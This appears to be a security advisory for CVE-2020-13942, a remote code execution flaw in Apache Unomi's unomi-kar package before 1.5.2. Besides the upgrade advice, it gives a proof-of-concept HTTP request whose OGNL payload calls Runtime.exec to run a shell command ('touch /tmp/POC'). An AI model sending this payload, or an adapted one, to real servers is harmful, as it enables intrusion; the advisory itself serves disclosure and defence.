Remote Code Execution (RCE) Affecting org.apache.unomi:unomi-kar Open this link in a new tab package, versions [,1.5.2)
Exploit Maturity
Proof of concept
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
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snyk-id
SNYK-JAVA-ORGAPACHEUNOMI-1045347
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published
25 Nov 2020
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disclosed
25 Nov 2020
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credit
Eugene Rojavski
Introduced: 25 Nov 2020
CVE-2020-13942 Open this link in a new tabHow to fix?
Upgrade org.apache.unomi:unomi-kar
to version 1.5.2 or higher.
Overview
org.apache.unomi:unomi-kar is a package for the Apache Unomi Context Server.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject malicious OGNL or MVEL scripts into the /context.json
public endpoint.
PoC
POST /context.json HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Content-Length: 200
{"personalizations":[{"id" : "test","strategy":"matching-first",strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{propertyName":"(#runtimeclass=#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod=#runtimeclass.getDeclaredMethods().{^#this.name.equals(\"getRuntime\")}[0]).(rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang/String\")}.{? #this.getParameters().length<2[0]).(#execmethod.invoke(#rtobj,\" touch /tmp/POC\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"demo-session-id"}